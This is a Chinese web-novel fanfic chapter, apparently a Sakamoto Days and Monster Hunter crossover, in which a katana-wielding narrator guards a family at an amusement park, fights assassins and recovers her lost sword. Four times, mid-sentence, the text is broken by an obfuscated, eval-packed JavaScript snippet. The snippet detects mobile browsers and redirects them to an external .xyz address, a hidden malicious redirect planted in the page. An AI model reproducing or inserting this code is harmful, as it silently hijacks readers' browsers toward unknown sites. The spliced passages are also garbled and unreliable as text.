“这是闪光球,遇到敌人的时候就往他那边丢,会发出强光使其眩晕一小段时间,但是你不会受到影响,我看到闪光就会赶过来,可以吗?” 他嘟囔了一声“是哆啦A梦吗哪里掏出来的道具”就收下了,手里摩挲着闪光球表面的纹路一边抬头问我:“倒是你,你难道实力就很强吗?” 我稍加思考:“可能刚好打得过老板吧。” 他大概以为我在说笑,有些气急败坏地朝我摆摆手:“那你就走吧!我是不会管你的!” 我:“就算我出了事,不是有你会读心吗?” 他依旧气鼓鼓:“你不是不要我读你心吗!而且我也只能听见20米的范围……” 我笑了笑:“这有什么‘只能’不‘只能’的,说不定努力一下今天就能听到一公里了呢!” 6. 我利用翔虫技在过山车附近几个比较高的建筑之间穿梭,选出了一个视野较为开阔的地点进行监视。 那么请问:利用了某种昆虫的力量,蒙面,在房子间荡来荡去,抓小偷,猜猜我是谁? 感觉自己和纽约好邻居有0个区别。 可惜乐园内一片祥和,算算这个时候杀手也不可能突然插队和老板他们搭同一班过山车了,我决定回朝仓信的监视点那里,讨论一下新对策。 7. 耳边的风像是凝固了一样。 我看见朝仓信单膝跪在草丛间,手撑着地面勉强不让自己倒下去,身上好几道口子,眼神却是坚决得发亮。 而他的对面是颈间两道缝合线的男人,似乎还在发表着什么高谈阔论。 我的太刀其实不在他身边,不过无论他是不是那个贼,现在他都是我的敌人了。 8. 我从房顶跳下来降落到朝仓信身前,单手护着他的方向。 睨了一眼脚边他撑着地面微微发抖的手指,我死死盯住前方的男人,对身后的朝仓念道: “你不放闪光球的事之后找你算账,现在,赶紧给我爬到角落去休息。” “他的飞刀上有毒……”朝仓信声音虚弱。 “闭嘴。”我向前一步,本想拔刀却发现身边空空如也。 “啧,有毒又怎样?我血条可是厚得很!” “你这样的货色,我说不定用不上三分钟。”我向男人勾勾手指,“来呀!” 那人没什么表情,只是不耐烦地后撤步,弹跳中朝我发射了几枚毒刀。 这种小刀子并不值得我关注,我索性避也不避往对面直线冲刺,他的准头也不怎么样,三枚里只有一发从我手臂擦身而过。 “不要以为我没了太刀就揍不了你们!” 霎时间,我已经移至他面前,咧了咧嘴唇,抓住他握着刀的手反手刺进他的大腿。 趁他惊讶之际,后退一步蹬地借力,随即快速一记右勾拳击在他下颌。 好久没有听到骨头碰撞碎裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063105|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的动静了。 那人呛着血倒地,我也顺势压在他身上,抓住衣领逼问他: “你们把我的太刀藏哪儿去了?” “什、什么刀?听都没听说过……” 我眯着眼细细考量他的神情,不似作伪,但我也饶不了他。 把他砸在地上,我又一次扬起了拳头。 “慢着!你要是杀死了我,就永远解不了我特制的毒药了!” 动作停滞了一拍,我扭头看向一边大口喘着气的朝仓信。 呵呵。 我将视线重新放回他身上。 然后将直拳放在他脸上。 不断地重复着,直拳,直拳,直拳,直拳,直拳…… “你看好了,我不会死。” “也不会让他死。” 9. 沾着草屑的手掌用力地包裹住了我的拳头。 是朝仓。 他从身后抱住了我,或者说是靠在我身上。我看不见他,但他的声音贴着我的耳廓传来: “你再打下去,他就要死了。” “对啊,因为他打不过我。” 我不明白这有什么问题。 他回答道:“这是坂本家训所不允许的……痛痛痛痛!你快找找解药……” 哦对,我和他现在还中着毒呢。 我记得道具袋里还剩两瓶汉方药,于是转身把朝仓信扛起来走到空地上,让他能够好好坐着喝药。 “喝吧,这个不仅解毒,还能回复体力。”我把属于他的那一瓶塞给他之后,就自顾自地灌下去了那一大瓶药。 他面红耳赤地、眼神在我和药瓶之间转来转去,目瞪口呆不知道又想吐槽些什么:“你,你……” “已经严重到动不了需要我喂你吃药的程度了吗?……”我皱眉思考。 “不用!我自己吃!” 这不是有力气动吗! 10. 他怎么还是飘飘忽忽的,我记得汉方药没有发热的副作用? 算了,总归死不了就成。 11. “那个人说他的毒是特制的诶,你的药能起作用吗,要不要我再去翻翻他身上有没有解药?” 我转了转那柄毒刀,关切地打量着朝仓信:“你是感觉还没完全恢复吗?我这里还有别的药,虽然不能解毒但多吃点总有用的。” “……我已经完全好了。” 12. 老板他们那边也结束了惊险刺激的过山车之旅,趁着葵姐和小花去厕所的工夫,我们几个又凑在一起确认情况。 我随手一指躺在地上的人:“情况就是这样的。他不是太刀贼。” 朝仓信扶额:“那个,但他是杀手,百龙前辈已经把他弄晕了。” 我:“不要叫我百龙啊小后辈!不想叫夜子叫我烈焰也行啊!”百龙会让我想到一些不好的东西。 “……好的夜子前辈。” 13. 与此同时,陆少糖已经把敌人叫醒了。都用不着她展示自己精妙绝伦的逼供技术,敌人一看到我的脸就抖了抖: “我能报警吗?这里有杀人犯……我什么都说……” 我差点花容失色:“那么请问你现在是死了吗?” “老板我真的没有杀了他呀!你要相信我!” 14. 老板竟然说话了:“我看得出来。” 15. 以上老板说话实在是太珍贵了,因此单列一条。 总之,那个人说了一大堆话,我听得不甚明白,只知道下一个任务对象是『逆转会』。 以及这次我绝对不会再忘记找朝仓信算账了。 5. 玉子烧和大家围坐的场景 1. 小花和葵已经在走过来了,我趁着她们还有一段距离的时候,赶紧一个箭步把杀手抓起来丢到墙的另一边。 不能让她们看见。 小花披着斗篷,挥舞着手臂向我和朝仓描述那个过山车是有多好玩,也就是这会儿,她发现了朝仓衣服上的刀痕: “信!你的衣服怎么破了?” 我摸摸她的头叹气道:“你知道的,他一向很爱赶潮流。” “诶?啊,哈哈,对,是的没错,现在破洞是一种新款时尚……”朝仓信只得附和着我打着哈哈,眼神却在和我疯狂打架。 “好啦小花,别管哥哥姐姐们啦,小糖果的表演马上就要开始了哟!”葵姐及时拉开了小花,还特地朝我眨了眨眼。 我这才意会到可以用表演这段时间干什么。 “朝仓,你不许过去看,跟我去一个地方。”我抓住他的卫衣帽往后拽去,“今天就让我们来算算账。” 向大家微微鞠了一躬后,我拖着他就走向乐园深处。 2. 一首歌的时间大概够了。 我用着如出一撤的手法将朝仓信团成一团扔进旋转木马的糖果马车里,外面人有些多,这个地方刚好方便我们谈心。 可是当我坐下来与他的眼睛对视时,他的心虚,他的不安,还有他耳边不小心垂落的一缕发丝,我都尽收眼底。 想说的话题有很多,一下子袭击我的大脑,突然有点短路了。 3. 马车已经开始缓缓转动,空气却有些凝滞。 我讨厌这种感觉。 “你为什么不来找我帮忙?是觉得我不够强还是不愿意把我当伙伴?” 直截了当地开口了,但是这样的拷问或许只是让我更加揪心:“明明以前大家不管遇到什么麻烦,都会找我帮忙,委托我干活的……” 朝仓信颇有些局促地抻拉衣袖,动作十分不自然,闻言猛地看向我:“不是这样的!我只是……” 只是什么? 怎么又低头不说话了? 我想知道他的心声。 唯一的方法就是通过眼睛,心灵之窗。 既然你不抬头,那就只好我凑近看着你了。 秉持着这样的心理,我俯下身子歪头从下方搜索着他的眼神。 “喂,看着我。”我说。 他一个激灵坐正了,眼睛紧张地一眨一眨,似乎准备好了等着挨骂。 “在你眼里我是个什么嘛……”我嘟囔着,跷起二郎腿,“不是排挤我就好,那我问你,要是有下次,你会用闪光球了吗?” “……会。” “那你会信任我吗?” “会。” “当我说这个任务交给我,大家不要担心的时候,你信不信我?” “嗯,我信。” “我说我在家乡是全民英雄,你信不信?” “信。” “我说老板以前在小花第一次发烧的时候哭得很惨,你信不信?” “信,我信。” “那我说,朝仓信明天读心术就能听到全世界的声音,你信不信呀?” 阳光从马车的窗户中照进来,他的金发在上下颠簸中透着一股很有质感的光彩,他捂着半边脸憋着笑:“信,你说什么我都信。” 4. 好搞笑啊,试问:这段对话里里面出现了多少个信啊阿信?* 噗。 5. 我:“但你说我的太刀是伞这件事,我是不会原谅你的。” “在我把她找回来以后,请你向她郑重地道歉。” 6. 很显然,旋转木马一首歌的时间严重超出了我们的谈话。 预估时间错误,但我看朝仓还挺享受这个项目的,一脸乐呵呵的样子,就想了个两全之计。 “那你就在这儿摇着吧,我去找刀了,你跟她们说一声。” 说着就走到门边掏出翔虫想飞出去。 朝仓信手很快,竟然跟得上我的速度,在马车里把我的衣角抓住了。 “等等!”他迅速改了口,“我是说,这样直接出去很危险。” 啊? 我回头呆呆地看着他。 我?危险?啥? 转眼间他又换了个说法:“你别急着走,待会儿吃了午饭再出发也不迟——好歹嫂子做了我们几人份的便当。” 这话也有道理,我都忘了便当这回事。 我坐了回去,虽然心里还是记挂着我在外流浪的太刀,但实际经过这些事打岔,焦虑的心情已经平缓了很多。 既然无事可干,那就闭眼假寐休息下吧。 7. 我闭着眼睛,感觉这个糖果马车的律动还怪舒服的,好像在海面航行一样。 朝仓那家伙自从我闭上眼睛就开始在旁边窸窸窣窣不知道在捣鼓什么,见我睁眼看他,又是坐正了大声发问说: “夜子前辈我是第一次坐旋转木马所以有些激动吧哈哈和你绝对没有任何关系请继续睡觉吧!” “第一次吗……”我琢磨着。 说起来我也是第一次坐马车,虽然只是旋转木马。 之前我只坐过龙车,狗车,和无数次猫车。呵呵:) “如果有机会,我可以带你骑龙车你愿意吗?”我也就随口一问,想回到那边我不知道还要努力做多少任务。 结果他却燃起来了:“我愿意!”这样呐喊着。 “嗯,哦……”我也不知道怎么回答了。 8. 老板今天穿着一件明黄色的T恤,外加那庞大的体型,坐在遮阳伞下果真是十分惹眼。 陆少糖招呼我坐到她旁边,还顺手夹了块玉子烧到我嘴里,眼神在我和对面的朝仓信之间流连;朝仓信只是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063106|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味地低头扒饭。 “呜呜葵姐你还去加热了便当吗!口感真是一级的柔软顺滑哦!”我狼吞虎咽地吃下下一块感叹道,“天呐我真幸福!” 葵和小花相视一笑,陆少糖又递过来一张纸巾:“是我负责加热的哦~” 仿佛小狗摇晃着尾巴在骄傲地邀功呢。 “好贴心!”我伸出拳头和她碰了碰。 9. 怎么感觉、似乎有两个人的存在感极低。 10. 吃完这顿后,我向她们告别继续找刀去了。 临别时,小花悄悄附在我耳边和我说了句悄悄话: “夜子,我告诉你哦,妈妈和小花之后准备去鬼屋吓一吓爸爸!你一定要来看哦!” 我想象着老板可能被吓得脸上一团肉上下抖动的情景,忍俊不禁:“那你真的很勇敢!——啊还有,摸黑的时候千万要跟牢妈妈,不用管你爸爸!” 11. 虽然还是有些担心她们,但拿回太刀才是第一要务,护卫任务也能更有保障。 我就这样从烈日找到黄昏,从跳楼机找到碰碰车,连草丛都一一翻找了过去。 无事发生。 这个时候没有地图标记就很坏了。 在家乡的时候,我经常接一些无厘头的寻物委托,尤其是艾草,她真的太不长记性了,倚仗着我每次总会给她善后就屡屡把兔团子秘方给丢在不知道哪个犄角旮旯。 小祖宗,给她找去呗。 一想到她那些秘方总是丢在某些显眼但意想不到的地方,我就心累得长叹一口气。 ……等一下,“显眼但意想不到的地方”? 心里有了某个猜想,但若是果真如此,我就有点那个了。 我黑着脸朝前方走去。 12. 乐园柜台。 失物招领所。 我知道这不应该,但此时内心就是有一种非常想揍朝仓信的冲动。 怎么就被他说中了。 我的太刀泛着金属光泽,就这样被孤零零地塞在一篓子破破烂烂的雨伞之中,无人在意,无人赏识。 “失物招领要办什么手续吗?”我向前台小姐姐问道。 “得看你丢的是什么。” 我看了一眼太刀,咬咬牙,只能憋屈地吐出三个字: “一把伞。” 晓月,对不起,不是我要轻贱你啊,而是如果我说你是我的太刀,乐园那边就会把你判定为危险物品把我俩拆散啊! “哦,那没事儿了,你自己拿走吧。”她颇为漫不经心。 13. 三十年河东,三十年河西,莫欺少年穷。 我就这样灰溜溜地扛刀跑去了鬼屋。 14. 并见到了我此生绝对不想见到的场面。 那一天,我的太刀在三年间第一次沾上了人类的血。 6. 大头贴贴大头 1. 把太刀背在身上的时候,虽然一沉,但是心里多了几分安全感。 而且走去鬼屋的路上,我还捡到了一枚100日元硬币。 我觉得不应该把它交给失物招领所。 这可是我今天为数不多的幸运时刻啊! 2. 什么幸运啊。 都是假的。 我远远在鬼屋前就听见那里爆炸的响声。 本还打算问问工作人员那几个人有没有进去过了,现在看来已经没有必要。 我一边跑动寻找爆炸源一边嗑.药,习惯性环顾四周确认这里较为弯弯绕绕暗藏玄机的布局。 真希望不要有任何一个人受伤。 3. 我在走廊处看见了两个陌生男人对峙着。 “你们有没有看见……” 等一下。 那个穿黄衣服的……? “你怎么穿着老板的衣服?”我不可置信地问道,“还戴着老板的眼镜……” “你把他们怎么了!?” 4. 他说他就是坂本太郎。 你看我信吗? 然后他说要扣我工资。 我刷地一下就信了。 5. 我跑到他身边,方才的爆炸余波还未平息,身后不断有掉落的墙砖激起阵阵灰尘。 空气有些呛人,我捂住口鼻抬头看向老板:“那他们几个怎么样?” 坂本太郎颔首:“我们半路被分开了,他们有很多同伙。” 他让我离开这里,先去寻找其他人。 我的手已经按在了刀柄上,此时我根本不准备听他的。 “既然他是负责来杀你的,一定是最强的吧,剩下的同伙全到了朝仓和陆那边去,说明也没有什么高手在。” “这人,我打定了。” 6. 伞鸟,衍生于唐伞妖怪的鸟兽,有着白红相间的绮丽羽毛,单足站立,发出攻击时喷出的火焰与其身上的羽毛摆动相得益彰,在敌手面前,有如献上了一曲怪异的舞蹈。 此刻,鬼屋里堆积的各种杂物与布帘因爆炸而燃烧起噼里啪啦的火焰,而自伞鸟诞生的晓月刺刀骁勇,那冷酷的金属色映照着摇曳的火光,刀身修长,刀鞘上银白色的纹路随着我拔刀的动作渐渐变幻,犹如伞鸟张开羽毛不屈地示威、嚣叫。 ——刀出。 由银白渐变为火红,刀身那绚烂的色彩令我心头鼓动,在这样妖异的黑与红色之间,我感到异常平静。 我没有杀气。 7. 对面的墨镜男先行攻击,金属手套中甩出几颗弹药想要分散我的注意力,但我向来不管这种小型攻击,一连消耗两个翔虫槽,打了两次樱花铁虫气刃斩。 仅仅几息间太刀开出黄刃,我纳了刀,背身听着樱花铁虫的攻击迟滞性地在墨镜男身上发出爆竹般一串响声。 “你还蛮强的嘛……”那个人跌跌撞撞地扶墙站起,大拇指抹掉唇边血渍。 坂本太郎拍拍我的肩膀:“够了,你的刀太危险,会死人的。” 我不太听得明白其中道理,但是既然坂本叫我停手,我就先停手吧。 只不过还没把刀背上,我就听见两粒爆弹破空而来。 身体反应快过思考,拔刀斩劈开弹药,顿时走廊间烟雾一片弥漫开来,视野中一片虚无。 不好,原来是烟雾弹! 意识到危险的即刻,我就快速进行特殊纳刀准备反击。 屏息凝神,侧耳倾听,弯腰预备拔刀…… 在那儿! 冲刺一小步,刀尖破开烟雾,灰尘被刀身周围吸引跳跃,在这样破败的环境下反而更能感受到与我动作同步律动的完美弧线。 这就是居合拔刀气刃斩! 是的我打中了! 我在视野全失的情况下开出了红刃!! 8. 太刀在空气中的搅动使得烟雾很快散去,墨镜男就倒在我的脚下不知死活。 他很厉害,在短时间就想出了先佯作攻击我,让反击动作较大的我与坂本太郎拉开距离,实则记下了坂本的大致方位,在烟雾中发起真正的攻击这样的战略。 然而他不应该来攻击坂本太郎,破坏他圆满的家庭。 死了也是活该。 9. 话说坂本呢? 回头一看,他却是摔坐在了地上,衣服上有几道刀印。 我突然想起来此行我没带缓冲珠,大概那一下拔刀气刃斩不小心波及到他了。 ……有的时候我们太刀侠就是这样的。 10. 他爬起来第一件事就是查看墨镜男的气息,一边向我简略地介绍,这人名字叫博伊尔,是他以前的同学。 检查到博伊尔尚有气息,他就松了一口气,回头看向我露出不赞同的眼神。 “我和你说了你这刀太危险,不要闹出人命。” “那也没办法呀,他最后放了烟雾弹,我只能害怕地乱砍啊。” 他沉了沉:“下不为例。否则扣工资。” 要命。 11. 坂本太郎根据地形速速推测出另外几人大致所在的地方,我俩不敢有一刻耽搁就赶了过去。 当然坂本太郎还扛上了昏迷的博伊尔,恐怕是担心房子塌了他被压死。 所幸当我们见到那几人时,他们全都安然无恙,陆少糖甚至还被一个女人抱住蹭了又蹭。 只有朝仓信被绑在病床上,看起来应该受到了点精神伤害。 我连忙向他扑过去询问:“怎么样?” 他眼睛亮了亮:“完全不要紧!” 我锤了他一拳:“混蛋,我是问葵姐那边怎么样?她应该一直睡着啥都没发现吧!” “哦……是的……” “喂你来都来了真的不打算帮我解开这个绑带吗?”他被困在重重绑带下,微弱地伸出一根手指勾住我的衣角。 “好吧。” 12. 他就像个蛹一样被束缚在床上,一时间我都不清楚应该先笑还是先找出一个方便开始割开绑带的位置。 顾念及同事一场,我还是忍着笑掏出了太刀。 手掌用力摁在他身上固定住绑带,我拿起太刀细细割了起来。其实我的太刀锋利度很高,切开小小绑带根本不是什么难事,只是怕一个不小心捅到朝仓信身上,所以才放慢了速度。 然而这家伙还要不安分地扭动,增加我的工作难度。 “烦死了!”我在他身上气愤地落下一掌,“别动!身上痒待会儿就去洗澡!” 他脸上热气一直蒸腾到了耳朵,死死阖眼撇过脸去: “你的手,不要再抓,抓着我的……那里……” 哪里?话也不会说清楚。 我低下头看去,那群人把他上半身全部裹了起来,只留下一个肩膀外面。顺着视线往下看,肩膀,锁骨,我的手。 所以下面是……?他的胸? 13. 就这? “天呐小后辈,你不要太自恋哦。”我继续心无旁骛地往下割绑带,一边唠起了嗑,“我们家倪泰教官身材比你好一万倍,也没见他像你这么防备我。” 我猜大概是按到了他腰腹部位,他又开始了哼哼唧唧:“那、倪泰是谁?” “说了你也不认识。” 14. 只剩腿那里了。 我抽空瞥了一眼葵姐,发现她也已幽幽转醒,本想让朝仓信自己解决剩下的,结果没想到她忽地站了起来,闪现到了坂本身后。 “阿娜达……你们说的‘悬赏’,我们从来没有听说过啊?……” 霎时间我脑中飞过一万种暴风雨来袭的可能,下意识把朝仓信竖了起来挡住自己的脸,尽力缩小自己的存在感。 于是一米六的葵姐就这样气冲冲地一手拎一个一米八的男子冲了出去,甚至走之前还有余裕拜托陆少糖暂时看管一下小花。 15. “这样下去还不知道以后会是什么样子呢。” 我看着他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063107|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的背影,无意识感叹道。 事实上我也是赞成“隐瞒派”的,在我身边曾发生过许多突然的变动,那个时候我看到了许多强作笑颜的脸,只为了让我这个“英雄”放下心来。 我不希望这样的事情重演。 不过事已至此,也只能往积极的方面去想。 比如我不用再为太刀上的血迹编造理由强行解释了? “不不不,我觉得再怎样也是得清理一下的吧!”朝仓信又在读我的心。 “我觉得把你切完应该就差不多能干净了。” “你说话可不可以不要这么诡异啊前辈!” 16. 后来大家一起去看了花车巡游,我想这应该就是和好的标志。 可我心里总是闷闷的透不过气来:我的任务到底是什么呢?我能为坂本家的困境做些什么?说到底就算完成了任务我就能回家吗? 烟花飞上天,“砰”地一声炸开花,五彩缤纷的,一朵接着一朵。夜里瞬间亮如白昼,我这才发现自己掉了队,周围一张认识的脸都没有。 要不就回大门口等他们吧。 “砰!” 又是一声烟花……诶,不是吗? 是朝仓信来到了我面前。 他手里拿着一瓶拧开的汽水贴在我脸颊边,扯着嗓子和烟花声抗衡:“夜子前辈!——” “今天辛苦了!——” “虽然只能请你喝汽水但今后还是请多!多!指!教!——” 17. 给我端茶送水这么多天,竟然还不知道我汽水不喝低糖的? 差评。 但是实在口渴,我还是咕噜咕噜一口灌了下去。 18. “现在变成两个人脱队了,你说怎么办?”我蹲在路边画圈圈。 “对不起……我不应该自己一个人追上来……” “这么委屈干嘛?我又没怪你。” 我往周围望了一圈,终于找到了个东西解解闷。 “你玩过大头贴吗?”我戳了戳他的小腿。 朝仓信摇头。 于是我们就进到了这个花花绿绿的大头贴机器里面。 结果是:眼镜都看花了也没能选出来一个合适的滤镜。 每次问朝仓意见他都只会点头说“非常好看!”“这个也不错呢前辈!”,毫无参考价值。 19. 最后还是决定我俩闭着眼睛,一人点两个滤镜进行盲选。 本以为至少会选中一个搞怪滤镜,没想到全是萌的出水的那种。 “这个时候就要拿出道具了吧!”我在口袋里拿出了上午在过山车边上他给我买的恶搞眼镜胡子,“我们来交换着戴吧!” 恰好他也没扔他那副,那就一拍而合,当即点击“准备好了”开始拍照。 〈一!〉 脸颊贴在一起,靠近镜头夸张比耶。 (他扭扭捏捏的,还是我一把掐住他的下巴固定好的姿势。) 〈二!〉 微微取下眼镜和对方互瞪,装作很凶的样子。 (我想尽了一切任务失败的悲伤画面,在看着朝仓信那张脸时还是没忍住笑场了。) 〈三!〉 脑袋叠叠乐,他半蹲着,我把下巴靠在他头上,并且在他头顶比了两个倒V假装是猫耳朵。 (朝仓信重心不稳,差点摔倒下去,这将成为他一生的笑柄。) 〈四!〉 想不出什么姿势了,只好两个人比了个大爱心。 但是陆少糖闯了进来说她很远就看到我俩了,绝对不允许忽略她两个人偷偷拍照!朝仓信突然炸毛要把她赶出去。我还在找镜头。 20. 第四张照片被撞模糊了,但竟然是我最喜欢的一张。 21. 题外话。 那天朝仓信突然发现自己最后的钱用来给我买汽水了,于是两个穷鬼的大头贴由陆少糖买单。 22. 我没告诉他们今天我还捡到了100日元。 7. 迷路了也没关系 1. 老板素来是个行动力很强的人,自游乐园回来之后的第二天,就已经从一个陌生的坂本太郎变回那个我熟知的老板。 ……当然,也准备好去搜索『逆转会』的相关资料。 我留意到这是在葵姐点头答应下才去的,于是顿时领会昨天晚上他们几人聊了些什么。 “夜子,你呢?”老板看向还坐在柜台吸养乐多的我。 “不去。” “以后用不着干架的事儿就不用叫我了。” 2. 我不是耍大牌,只是说除了干架的事儿以外我实在搞不懂。 能指望一个接任务时记一遍任务要求,换完装备记一遍任务要求,选择完道具记一遍任务要求,吃完团子再记一遍任务要求的人,脑子好到哪里去? 乡亲们都说了我是武斗派的。 3. 老板他们智取逆转会去了,现在开始的是烈焰日常。 4. 很快葵也出门去参加商店街某个类似妇女会的活动了,于是又一次地,我被留下来一个人看家。 蜷缩在柜台后那张巨大的椅子上,我不由得回忆起了昨天睡前和朝仓信的对话—— 我躺在电视机前看新闻,正巧遇上他脖子上挂着毛巾从卫生间里面出来,嘴里还叼着一根牙刷。 电视机对他这个年纪的小孩应该还有着致命的吸引力,明明只是新闻,他就连牙都不刷了非要坐在我旁边来蹭一会电视看。 看就算了,还要和我扯老空。 “没想到夜子前辈也会说自己‘血条很厚’这样有点中二的话啊……您果然很厉害!” “诶?我说过这种话?” “对、对啊。” 5. …… 最近我总觉得哪儿不对劲,尤其是前两天拿起刀重拾旧业的时候,我更是感觉到有一种说不上来的不协调。 『血条』『肌肉数值88%』……我是否忘记了什么? 算了,我是一个不善思考的太刀侠。 6. 就这样一直上班上到午休。 商店业务总是令我不由得开始担忧财务问题,老板到底是有什么样的底气才会斩钉截铁地说出“不会破产”这样的话呢。 葵这个时候也回来了,我们坐在桌边快速解决完一顿加热便当午饭,她问我想要怎么处理那张跑酷赢来的旅游券,我一时半会儿也想不出来。 甚至于:“伊豆在哪儿?” 葵笑着站起来摸了摸我的头,随即打开笔记本电脑帮我搜索了起来,一边滚动鼠标一边打趣道:“你呀,这么久了还是不太擅长用这些电子产品呢!” 我摸了摸嘴角,略有些尴尬:“感觉平常看电视就够了呢……” 电脑被推到我面前,屏幕上是一片一望无垠的蓝色海面,波光粼粼,碧海晴天,让人不自觉就放松下来。 好想和火芽水芸一起在这里晒太阳啊。 我拿出那个节目组当时给出的凭据和联系方式,那张纸的说明上写着: “包揽您的出行和住宿费用,享受伊豆的海洋、渔猎、潜水以及美味的海鲜饭!” 天呐,这才是真正的养老度假吧。 7. 午休时间通常我会选择回到后院的帐篷里,掀开帘子就着午后阳光睡一觉,但是今天怎么也睡不着。 似乎漏了一件事没做。 我抓了抓凌乱的头发又溜达回店里,可是又想不起来忘记的具体是什么,只好焦虑地走来走去。 葵见我这样,就给了我一点零花钱,说今天下午她一个人看店就行,让我出去转转,到点了顺便去幼儿园接小花回家。 8. 我站在十字路口,兜里除了钱以外什么都没有。 脑子也是空空的,自从开始思考那件忘记的事之后,其他的事情也一并消失了。 总之先去随便坐个地铁看看。 之前葵姐就给我办过类似套票还不是一卡通之类的地铁卡,所以坐地铁还挺便宜的,只是我一直在店里呆着,不怎么用到它。 生疏的结果就是到了刷卡机还没能翻出来那张卡。 所幸现在人流量不是很大。 “请等一下!我马上就找到了!” 我在口袋里已经摸到卡一样硬实的东西了,赶紧飞速抽了出来。 然后手一滑连带着其他的卡片飞了出来。 堂堂怪物猎人竟然还会手滑乱丢东西,我默默抹了一把汗,这实在是有些丢人。 “啊,不好意思麻烦你了。” 我接过安保大叔给我递过来掉在地上的卡片,定睛一看我竟然还把猎人公会的证明带在了身上,连忙塞回口袋保护好了。 我刚刷上我的地铁卡,大叔却拦着不让我进了。他指了指对面另一个小口子,好心地告诉我应该从那儿进比较方便。 而且不用安检。他指的是我背在身上的太刀。 9. 我以后要把地铁卡捧在手心里。 ——天呐,看到了没,我是尊贵的VIP,可以走VIP专属通道的! 10. 随便选了个座位坐下,太刀就斜斜倚在我腿边,我无意识盯着车窗外明暗变换,在列车的上下摇摆中竟然迷迷瞪瞪睡着了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063108|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊醒后第一件事就是看看太刀还在不在,我可受不起再丢一次的烦恼了。 刀还在,就是我这一睡睡过了头,现在也不知道身处何方。 我站起身来端详着地铁线路图,一串地名里没几个在电视里听到过,倒是唤醒了我原来的记忆: 那件忘记的事情好像是我每周要坐两站公交车去隔壁社区的报亭里买张彩票的。 11. 没错,买彩票就是我来到这里以后染上的第二个不良癖好。 两年前我偶然发现那个报亭卖彩票,而且似乎价格比别的地方都便宜,为了给每周讨个彩头算算运气,我周一一般会去那里浅赌一番。 至今没中过奖就是了。 大城市,套路深。 12. 那看来现在绝对去不了那里了。 我索性下一站就下了车,没有地图就随机出发探路,也算是一种买彩票吧。 乐观也是乡亲们说我的优点。 13. 涩谷。 管他呢我也不知道这里是不是涩谷,如果说憩来坂是大城市的话,那这里就是超级无敌大城市。人这么多,街道这么繁华,不是涩谷就是小涩谷。 同理,我也不知道有没有小涩谷这种东西,全是我乱说的。 大城市,套路深。 我抱紧太刀,在人潮中缓慢地行进着。 14. 涩谷太大了。 每个人都行色匆匆,好像电视里的广告片一样在我面前出现又消失,留下的只是一个“欸似乎有这样一个东西过”的模糊印象。 连我都要患上巨物恐惧症了。 倘若没有目标地随着路人一起走动的话,感觉会像一滴水一样消失。 那么,事已至此,就去吃个小蛋糕吧。 甜品の奴仆,全速出击! 15. 嗅着烘焙物的香味,我随便挑选了一家闻起来就很好吃的甜品店。 环顾四周,似乎店里坐满了一桌桌打扮很精致、快乐地相互展示手指甲的漂亮女孩。 手指甲?我低头看了眼自己的手,上上下下翻动着比较。 感觉这几年挥刀少了,手上的茧都有些消退,这可不妙。 16. 服务员递来菜单,我一下打起了兴趣,里面每页都花里胡哨的,就当看书一样也很好看。 除了价格比较棘手。 就在我一条条翻阅过去时,肩膀上突然被人轻轻拍了拍,一道清亮活泼的女声从我背后传来: “嗨!那个、好久不见啦!” ?哪位? 8. 拼好桌和拼好车 1. 诶?我认识这个女孩子吗? 她背着一个硕大的黑色书包,手指扶着包带,在染成浅粉色的麻花辫发梢处打着圈儿地缠绕,我抬头望进她的眼睛,她只是微微眯着眼,嘴角扬起犹如狡猾的猫咪。 ——会不会是某个店里见过的客人? 我这么想着,抬手将菜单递给了她:“那么,你来看吧!” 实则在心里别扭地猜测着自己是不是错过了什么剧情? 2. 招呼着服务员先离开后,女孩嘴边立即扬起一抹得意的笑容,看向我这边时,俨然换上了一副痛定思痛的表情,双手合十道: “抱歉抱歉!我刚刚有点唐突了……” 我目瞪口呆看着她从包里一样接一样掏出一些奇奇怪怪的东西,忍不住开口道:“这倒不影响,只是我有些懵?” 